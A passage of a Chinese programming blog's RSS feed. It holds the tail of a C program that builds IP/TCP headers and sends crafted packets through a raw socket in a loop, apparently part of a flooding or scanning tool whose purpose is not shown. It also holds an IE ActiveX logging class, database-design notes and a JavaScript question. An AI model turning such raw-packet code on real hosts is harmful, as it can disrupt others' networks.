&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; datasize=sizeof(ip_header)+sizeof(tcp_header);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ip_header.checksum=checksum((USHORT *)SendBuf,datasize);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //填充发送缓冲区<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //发送TCP报文<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &amp;DestAddr,sizeof(DestAddr));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }//End of for<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }//End of While<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }//End of try<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __finally {<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; WSACleanup();<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return 0;<br />
&nbsp;&nbsp;&nbsp; } <br />
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/295534.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2009-09-18 09:58 <a href="http://www.blogjava.net/ljf-tianyi/archive/2009/09/18/295534.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JavaScript  写 Log 类的具体实现</title><link>http://www.blogjava.net/ljf-tianyi/archive/2009/07/10/286197.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Fri, 10 Jul 2009 05:31:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2009/07/10/286197.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/286197.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2009/07/10/286197.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/286197.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/286197.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;
由于现在jscript 编写方式比以外负责很多，很多时候都比较难以调试。 为了方便日常程序中的调试，摆弄些下面写Log Class 将需要内容记录下来。<br />
&nbsp;&nbsp; 下面就是具体源代码，此Class 只能在 IE浏览器使用。<br />
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: #008080;">&nbsp;1</span> <span style="color: #000000;">LogClass.prototype&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;{<br />
</span><span style="color: #008080;">&nbsp;2</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">&nbsp;3</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;initialize&nbsp;:&nbsp;</span><span style="color: #0000ff;">function</span><span style="color: #000000;">(){<br />
</span><span style="color: #008080;">&nbsp;4</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">&nbsp;5</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">try</span><span style="color: #000000;">{<br />
</span><span style="color: #008080;">&nbsp;6</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">&nbsp;7</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._fso&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">""</span><span style="color: #000000;">;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">File&nbsp;操作对象</span><span style="color: #008000;"><br />
</span><span style="color: #008080;">&nbsp;8</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">&nbsp;9</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._folderspec&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">""</span><span style="color: #000000;">;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;类&nbsp;fileclass&nbsp;处理路径</span><span style="color: #008000;"><br />
</span><span style="color: #008080;">10</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">11</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._fso&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">new</span><span style="color: #000000;">&nbsp;ActiveXObject(</span><span style="color: #000000;">"</span><span style="color: #000000;">Scripting.FileSystemObject</span><span style="color: #000000;">"</span><span style="color: #000000;">);&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;建立&nbsp;ActiveXObject&nbsp;对象</span><span style="color: #008000;"><br />
</span><span style="color: #008080;">12</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">13</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._objDate&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">new</span><span style="color: #000000;">&nbsp;Date();<br />
</span><span style="color: #008080;">14</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">15</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._DateString&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._objDate.format(</span><span style="color: #000000;">"</span><span style="color: #000000;">yyMMdd</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br />
</span><span style="color: #008080;">16</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">17</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._DateString&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">c:\\</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">+</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._DateString&nbsp;</span><span style="color: #000000;">+</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">.log</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;;<br />
</span><span style="color: #008080;">18</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">19</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._folderspec&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._DateString;<br />
</span><span style="color: #008080;">20</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">21</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">22</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="color: #0000ff;">catch</span><span style="color: #000000;">(e){<br />
</span><span style="color: #008080;">23</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">24</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span style="color: #000000;">"</span><span style="color: #000000;">file&nbsp;Class&nbsp;initialize&nbsp;Error&nbsp;&nbsp;:&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">+</span><span style="color: #000000;">&nbsp;e.number&nbsp;</span><span style="color: #000000;">+</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">+</span><span style="color: #000000;">&nbsp;e.description);<br />
</span><span style="color: #008080;">25</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">26</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
</span><span style="color: #008080;">27</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">28</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},<br />
</span><span style="color: #008080;">29</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TRACE&nbsp;:&nbsp;</span><span style="color: #0000ff;">function</span><span style="color: #000000;">(Content){<br />
</span><span style="color: #008080;">30</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">31</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">try</span><span style="color: #000000;">{<br />
</span><span style="color: #008080;">32</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">33</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">.OpenTextFile(</span><span style="color: #000000;">8</span><span style="color: #000000;">,</span><span style="color: #0000ff;">true</span><span style="color: #000000;">);<br />
</span><span style="color: #008080;">34</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">35</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_objDate&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">new</span><span style="color: #000000;">&nbsp;Date();<br />
</span><span style="color: #008080;">36</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">37</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_dateString&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;_objDate.format(</span><span style="color: #000000;">"</span><span style="color: #000000;">yyyy-MM-dd&nbsp;hh:mm:ss</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br />
</span><span style="color: #008080;">38</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">39</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._otf.WriteLine(_dateString</span><span style="color: #000000;">+</span><span style="color: #000000;">"</span><span style="color: #000000;">||</span><span style="color: #000000;">"</span><span style="color: #000000;">+</span><span style="color: #000000;">Content);<br />
</span><span style="color: #008080;">40</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">41</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._otf.close();<br />
</span><span style="color: #008080;">42</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">43</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="color: #0000ff;">catch</span><span style="color: #000000;">(e){<br />
</span><span style="color: #008080;">44</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">45</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._otf.Close();<br />
</span><span style="color: #008080;">46</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">47</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span style="color: #000000;">"</span><span style="color: #000000;">file&nbsp;Class&nbsp;TRACE&nbsp;Error&nbsp;&nbsp;:&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">+</span><span style="color: #000000;">&nbsp;e.number&nbsp;</span><span style="color: #000000;">+</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">+</span><span style="color: #000000;">&nbsp;e.description);<br />
</span><span style="color: #008080;">48</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">49</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
</span><span style="color: #008080;">50</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">51</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},<br />
</span><span style="color: #008080;">52</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OpenTextFile&nbsp;:&nbsp;</span><span style="color: #0000ff;">function</span><span style="color: #000000;">(IOmode,format){<br />
</span><span style="color: #008080;">53</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">54</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">try</span><span style="color: #000000;">{<br />
</span><span style="color: #008080;">55</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">56</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._otf&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._fso.OpenTextFile(</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._folderspec,IOmode,</span><span style="color: #0000ff;">true</span><span style="color: #000000;">,format);<br />
</span><span style="color: #008080;">57</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">58</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="color: #0000ff;">catch</span><span style="color: #000000;">(e){<br />
</span><span style="color: #008080;">59</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">60</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">._otf.Close();<br />
</span><span style="color: #008080;">61</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">62</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span style="color: #000000;">"</span><span style="color: #000000;">file&nbsp;Class&nbsp;OpenTextFile&nbsp;Error&nbsp;&nbsp;:&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">+</span><span style="color: #000000;">&nbsp;e.number&nbsp;</span><span style="color: #000000;">+</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">+</span><span style="color: #000000;">&nbsp;e.description);<br />
</span><span style="color: #008080;">63</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">64</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
</span><span style="color: #008080;">65</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: #008080;">66</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
</span><span style="color: #008080;">67</span>&nbsp;<span style="color: #000000;"><br />
</span><span style="color: #008080;">68</span>&nbsp;<span style="color: #000000;">};</span></div>
<br />
<br />
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/286197.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2009-07-10 13:31 <a href="http://www.blogjava.net/ljf-tianyi/archive/2009/07/10/286197.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>数据库设计和数据库重构--小小心得</title><link>http://www.blogjava.net/ljf-tianyi/archive/2008/11/25/204143.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Tue, 25 Nov 2008 13:53:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2008/11/25/204143.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/204143.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2008/11/25/204143.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/204143.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/204143.html</trackback:ping><description><![CDATA[对于一个软件系统，数据库设计是整个系统最核心的部分。<br />
<br />
但由于系统的需求是不断变化，使得在数据库设计变得十分重要而且困难。<br />
在需求变化非常快情况下，有一部分人会认为要寻找一种设计方法以固定不变的表结构来适用不断变化需<br />
求。这个观点是十分不明智和以现时的技术上暂时不能实现。对于软件功能程序在需求不断变法时候，为<br />
了适应新的需求，不断重构系统的代码。以相同的道理，数据库设计也是程序设计的一部分。那么，数据<br />
库一样可以使用重构来实现适用不断变化的软件系统。<br />
<br />
本人认为数据库设计将会分为两个阶段进行：<br />
<br />
第一阶段：数据库功能上的设计，由于在软件系统的数据库建立初期，数据库也只是以实现系统同能为目<br />
标，对于系统性能优化将不会是数据库设计的重点。<br />
<br />
&#183;建立软件系统的比较通用功能基础表。在基础功能建立后，系统使用者会对系统部分功能作出评价和修<br />
改要求。而功能基础表设计为减少日后修改和维护量，会尽量设计通用和冗杂结构。<br />
<br />
&#183;收集软件系统的一些基本信息。对于软件系统设计者来说，对软件系统的中每个表数据量，程序上SQL的<br />
使用，系统的繁忙时段以及周期等都会有比较初步评估。但对于数据库设计者来说，这些估计都是只一些<br />
推断并没有实际数据支持。为第二阶段数据库修改和维护，对软件系统作一些基本数据收集是必要的。<br />
<br />
第二阶段为数据库系统能上优化，主要是通过第一阶段收集系统数据库一些信息来对系统做修改和优化<br />
数据库具体优化方案需要以收集信息为基础来之际来进行指定。<br />
<br />
下面本人总结下，数据库中一般有哪些方面需要进行优化。<br />
<br />
1优化系统的SQL，具体有下面几点可以进行：<br />
&#183;对使用频繁的SQL以创建具体功能存储过程来代替，可以减少数据库系统对SQL编译和解析<br />
&#183;涉及到数据量大的表，尽量建立基本视图来完成数据查询工作<br />
&#183;在程序中尽量使用批量提交<br />
(注：此方法在多数据更新和插入软件系统中 ，可以比较显著提高性能。<br />
&nbsp;&nbsp;&nbsp;&nbsp; 在提高系统性能的同时，对程序的多线程控制技术上增加不少难度。<br />
&nbsp;&nbsp;&nbsp;&nbsp; 若线程控制出现问题，会对数据库带来灾难性破坏)<br />
&#183;程序在使用SQL的时候，尽量使用少消耗数据库资源的运行方式<br />
<br />
2 数据库表结构的<br />
&#183;在数据量大表中，尽量减少非必要字段索引建立。<br />
（注： 索引建立多了查询速度是可以很有效的提高，但随之而来的是插入数据消耗的数据库资源也提高了很多）<br />
&#183;大表需要进行分区存储<br />
（注：现在主流数据库都已经开始支持分区存储数据）<br />
&#183;在不影响系统的业务逻辑上，清理数据表中被废弃使用的字段<br />
&nbsp;(注：在清理废弃的字段需要关注的确定这些字段是否真的已经被废弃，程序真的不再启用)<br />
<br />
3 修改有问题的SQL<br />
&#183;在实现功能时候，由于时间或者其他原因整个系统中肯定会有部分性能不优的SQL存在。第一阶段收集的数据，现在就可以有效的进行使用。通过这些数据我们可以很有效地把这些不优的SQL[甚至是很烂]找出来，一条一条进行调整<br />
&#183;在调整SQL外，还需要对数据库内存或者共享空间等等进行调整；使得数据库永远是处于最优的状态。<br />
<br />
以上是本人一些小小心得，如果不对的地方欢迎指教。<br />
<br />
<span style="font-size: 12pt; font-family: Georgia;">&nbsp;&nbsp;&nbsp; &nbsp; MK-TIANYI</span><br />
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/204143.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2008-11-25 21:53 <a href="http://www.blogjava.net/ljf-tianyi/archive/2008/11/25/204143.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JavaScript 使用类的时候，一个很奇怪的问题</title><link>http://www.blogjava.net/ljf-tianyi/archive/2008/05/30/203997.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Fri, 30 May 2008 01:02:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2008/05/30/203997.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/203997.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2008/05/30/203997.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/203997.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/203997.html</trackback:ping><description><![CDATA[由于小弟知识有限，在使用JavaScript 封装类的时候遇到了下面奇怪的问题。<br />
<br />
<div style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; background-color: rgb(238, 238, 238); font-size: 13px; width: 98%;"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;AXML&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;Class.create();<br />
AXML.prototype&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;initialize&nbsp;:&nbsp;</span><span style="color: rgb(0, 0, 255);">function</span><span style="color: rgb(0, 0, 0);">(path){<br />
